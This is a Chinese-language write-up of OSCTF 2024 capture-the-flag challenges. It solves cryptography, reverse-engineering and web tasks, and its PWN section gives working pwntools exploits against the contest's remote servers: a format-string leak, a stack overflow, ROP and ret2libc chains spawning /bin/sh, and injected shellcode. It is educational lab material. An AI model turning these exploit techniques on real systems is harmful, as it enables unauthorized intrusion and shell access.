OSCTF 2024 多方向赛题解析与漏洞利用实战
密码学 (Cryptography)
The Secret Message
本题考察 RSA 算法中的小指数明文攻击。当公钥指数 $e=3$ 且明文 $m$ 的数值较小时,加密过程可能不会发生模约减,即满足 $m^e < n$。此时密文 $c$ 直接等于 $m^e$,只需对密文进行开方运算即可恢复明文。
import gmpy2
from Crypto.Util.number import long_to_bytes
modulus = 95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
public_exp = 3
cipher_text = 123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125
# 计算 e 次方根,由于 m^e < n,结果应为精确整数
plaintext, is_exact = gmpy2.iroot(cipher_text, public_exp)
if is_exact:
print(long_to_bytes(int(plaintext)))
Couple Primesc
题目在生成素数 $p$ 和 $q$ 时使用了 `nextprime` 函数,导致两个素数在数值上极其接近。这种特征使得模数 $n$ 极易受到费马分解法(Fermat's Factorization)的攻击。分解出素数后,按照标准 RSA 流程计算私钥并解密即可。
from Crypto.Util.number import long_to_bytes, inverse
prime1 = 141985506897231941308512923885300128905042311260138568794604206121080701727914934144982091139843178794485634682609841794924046596349428012470654095827271229332196334064446305896952838867217202135745989681311949561794583125471246401285687229433924674917884710139141784537370509554520561718028000388149962362867
prime2 = 141985506897231941308512923885300128905042311260138568794604206121080701727914934144982091139843178794485634682609841794924046596349428012470654095827271229332196334064446305896952838867217202135745989681311949561794583125471246401285687229433924674917884710139141784537370509554520561718028000388149962362681
modulus = prime1 * prime2
cipher_text = 18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394
public_exp = 65537
phi_n = (prime1 - 1) * (prime2 - 1)
private_exp = inverse(public_exp, phi_n)
decrypted = pow(cipher_text, private_exp, modulus)
print(long_to_bytes(decrypted))
Efficient RSA
此题生成的素数 $p$ 和 $q$ 位数极小(112位),远低于安全标准。直接使用在线大数分解工具或本地脚本(如 YAFU、Factordb)即可快速分解模数 $n$,随后进行常规解密。
from Crypto.Util.number import long_to_bytes, inverse
factor1 = 3058290486427196148217508840815579
factor2 = 4289583456856434512648292419762447
modulus = factor1 * factor2
cipher = 8124539402402728939748410245171419973083725701687225219471449051618
exp = 65537
phi_n = (factor1 - 1) * (factor2 - 1)
d = inverse(exp, phi_n)
print(long_to_bytes(pow(cipher, d, modulus)))
Love Story
题目实现了一种基于字符索引偏移的自定义替换密码。加密逻辑将字母转换为字母表索引,加上其在字符串中的位置索引后对 26 取模。解密时只需逆向该过程,减去位置索引并处理负数取模即可还原。
def decode_message(encrypted_str):
decoded = []
for index, char in enumerate(encrypted_str):
if char.isalpha():
pos = ord(char.upper()) - ord('A')
# 逆向偏移:减去索引并保证结果在 0-25 之间
original_pos = (pos - index) % 26
decoded.append(chr(original_pos + ord('A')))
else:
decoded.append(char)
return "".join(decoded)
ciphertext = 'KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC.'
print(decode_message(ciphertext))
Cipher Conundrum
本题为多重编码嵌套。首先对密文进行 Base64 解码,得到一串十六进制字符串;将其转换为原始字节后,发现内容仍不可读。通过分析字符分布特征,可识别出最内层使用了 ROT8 位移加密。依次逆向执行 Base64 解码、Hex 转换和 ROT8 移位即可获取_flag。
逆向工程 (Reverse Engineering)
Gophers Language
目标文件为 64 位 Go 语言编译的无壳程序。在 IDA 中定位到 `main_main` 函数,反编译后发现程序首先校验输入长度是否为 21。确认长度后,可在 Go 运行时的字符串比较函数 `runtime.memequal` 处设置断点。输入任意 21 位字符串触发断点,通过查看寄存器或栈中参与比较的内存地址,即可直接提取出正确的 flag 字符串。
Another Python Game
程序由 PyInstaller 打包。使用 `pyinstxtractor` 脚本提取出内部的 `.pyc` 字节码文件,随后利用在线反编译工具或 `uncompyle6` 还原 Python 源码。分析源码逻辑后发现,验证过程较为简单,直接推导或编写脚本计算即可得到 flag。
The Broken Sword
题目提供了一段包含复杂数学运算的 Python 脚本。核心难点在于确定圆周率 `pi` 的精度。通过编写验证脚本,利用已知的输出结果 `h` 反向推导,可以确定 `pi` 取值为 3.14。确定精度后,利用 Z3 定理证明器建立方程组,求解未知变量。
from z3 import *
# 已知常量
pi_val = 3.14
f_val = 5483762505
g_val = 191931687675
z1_val = 13226864422850
v2_val = 136745387
a1_val = 899433952965498
a_sym = Int('a')
flag_sym = Int('flag')
solver = Solver()
solver.add(a_sym + flag_sym == z1_val)
solver.add((a_sym + g_val + v2_val + f_val) * 67 == a1_val)
if solver.check() == sat:
model = solver.model()
flag_val = model[flag_sym].as_long()
a_val = model[a_sym].as_long()
print(f"OSCTF{{{flag_val}_{a_val}_{v2_val}}}")
Avengers Assemble
本题为 x86 汇编逻辑分析。程序接收三个整数输入,并通过一系列加法和异或运算进行校验。分析汇编指令可知:`inp1 + inp2` 必须等于 `0xdeadbeef`,且 `inp1` 需小于特定阈值;`inp2` 被严格限制为 `0x6f56df8d`;最后 `inp2` 与 `inp3` 的异或结果需等于 `2103609845`。根据布尔代数性质反向计算即可得出三个输入值。
inp2_val = 0x6f56df8d
inp3_val = inp2_val ^ 2103609845
inp1_val = 0xdeadbeef - inp2_val
print(f"OSCTF{{{inp1_val}_{inp2_val}_{inp3_val}}}")
二进制漏洞利用 (PWN)
Leaky Pipes
程序的 `vuln` 函数中存在典型的格式化字符串漏洞。`printf(v1)` 直接输出用户输入,且 flag 已被读取到栈上。通过遍历栈偏移量(如 `%x$p`),可以定位到 flag 所在的栈帧位置,并将其以十六进制形式泄露出来。
from pwn import *
context.log_level = 'error'
flag_bytes = b""
# 遍历栈偏移量提取 flag 片段
for offset in range(36, 45):
conn = remote("34.125.199.248", 1337)
conn.recvuntil(b'>>')
payload = f"%{offset}$p".encode()
conn.sendline(payload)
conn.recvline()
leak = conn.recvline().strip()
if leak == b"(nil)":
conn.close()
continue
hex_str = leak.split(b"0x")[1].decode()
if len(hex_str) % 2 != 0:
hex_str = "0" + hex_str
chunk = bytes.fromhex(hex_str)[::-1]
flag_bytes += chunk
conn.close()
print(flag_bytes.decode(errors='ignore'))
Buffer Buffet
代码使用不安全的 `gets` 函数读取输入,导致明显的栈缓冲区溢出。通过模式字符串测试确定返回地址的偏移量为 408 字节。由于二进制文件中存在 `win` 函数,直接构造 ROP 链覆盖返回地址跳转至该函数即可。
from pwn import *
context.arch = 'amd64'
conn = remote("34.125.199.248", 4056)
win_addr = 0x04011D6
padding = b"A" * 408
exploit = padding + p64(win_addr)
conn.sendlineafter(b":", exploit)
print(conn.recvuntil(b"}").decode())
conn.close()
Byte Breakup
同样存在栈溢出漏洞,但目标函数仅执行 `/bin/ls`。为获取 shell,需利用 ROP 技术调用 `system("/bin/sh")`。通过 `ROPgadget` 找到 `pop rdi; ret` 指令片段,结合二进制文件中自带的 `/bin/sh` 字符串地址和 `system` 函数地址,构建完整的 ROP 链。
from pwn import *
context.arch = 'amd64'
conn = remote("34.125.199.248", 6969)
bin_sh_addr = 0x404048
system_addr = 0x0401257
pop_rdi_ret = 0x004012bb
payload = b"A" * 40
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
conn.sendlineafter(b":", payload)
conn.interactive()
seed sPRNG
本题考察伪随机数生成器(PRNG)的预测。程序使用基于时间种子的随机数生成序列,要求用户预测后续输出。通过同步本地时间种子,在本地重现相同的随机数序列,即可准确预测目标程序的输出并通关。
ShellMischief
程序允许执行任意 shellcode,但执行地址存在随机化。常规解法是构造 NOP 滑道(NOP Sled)来提高命中率。另一种更稳定的方法是利用 `ret` 指令构建滑道(Ret Sled),将返回地址重复填充在 shellcode 前方,利用 `ret` 指令不断弹出栈顶地址直至执行到真实的 shellcode。
from pwn import *
context(arch='i386', os='linux', log_level='info')
conn = remote('34.125.199.248', 1234)
ret_gadget = 0x080481b2
shellcode = asm(shellcraft.sh())
sled = p32(ret_gadget) * 26
payload = sled + shellcode
conn.recvuntil(b"Enter your shellcode:\n")
conn.sendline(payload)
conn.interactive()
Lib Riddle
程序在 `read` 函数处存在溢出(读取 0x100 字节到 16 字节缓冲区)。由于是 64 位程序且开启了地址随机化,需采用 ret2libc 策略。首先利用 `puts@plt` 泄露 `puts@got` 的真实地址,计算出 libc 基址;随后在第二次溢出时,利用栈对齐的 `ret` gadget 跳转到 `system("/bin/sh")`。
from pwn import *
context.arch = 'amd64'
conn = remote("34.125.199.248", 7809)
pop_rdi = 0x0401273
puts_got = 0x0404018
puts_plt = 0x401060
ret_gadget = 0x040101a
main_addr = 0x0401090
leak_payload = b"A" * 24
leak_payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
conn.sendlineafter(b"?", leak_payload)
conn.recv()
conn.recv(42)
leaked_puts = u64(conn.recv(6).ljust(8, b"\x00"))
libc_base = leaked_puts - 0x84420
system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1b45bd
pwn_payload = b"A" * 24
pwn_payload += p64(ret_gadget) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
conn.sendlineafter(b"?", pwn_payload)
conn.interactive()
Coal Mine Canary
程序通过读取文件初始化 Canary,并在函数返回前进行校验。通过输入长度为 33 但实际内容为 31 字节的字符串,可以利用 `puts` 输出时的截断特性,在不破坏 Canary 的前提下将其泄露。由于程序开启了 PIE(位置无关可执行文件),目标函数地址的低 12 位虽然固定,但高位随机。在获取 Canary 后,通过脚本在合理范围内爆破 PIE 偏移量,覆盖返回地址跳转至后门函数。
Web 安全 (Web Security)
Introspection
本题考察前端代码审计。通过浏览器开发者工具(F12)检查页面加载的 JavaScript 源码,在某个 JS 文件的逻辑判断或注释中直接发现了硬编码的 flag。
Indoor WebApp
进入应用后,发现"查看个人资料"功能的 URL 中包含 `id` 参数。这是一个典型的不安全直接对象引用(IDOR)漏洞。将 `id` 参数值修改为 2 或其他管理员 ID,即可越权访问包含 flag 的隐藏页面。
Style Query Listing
页面存在 SQL 注入漏洞。由于网络延迟导致自动化时间盲注工具效率低下,通过手动测试确认注入点后,利用工具提取出数据库表结构。结合目录爆破工具扫描敏感路径,发现未授权访问的 `/admin` 路由,进入后直接获取 flag。
Heads or Tails?
根据题目提示,对目标接口进行 HTTP 方法 fuzzing。发现服务器支持非标准的 `HEAD` 和 `OPTIONS` 请求。将常规的 `GET` 请求拦截并修改为 `HEAD` 方法后发送,服务器在响应头中直接返回了 flag。
Action Notes
本题为弱口令漏洞。在登录页面针对 `admin` 账户使用常见弱密码字典进行爆破,成功使用 `admin123` 登录系统,在后台仪表盘处获取 flag。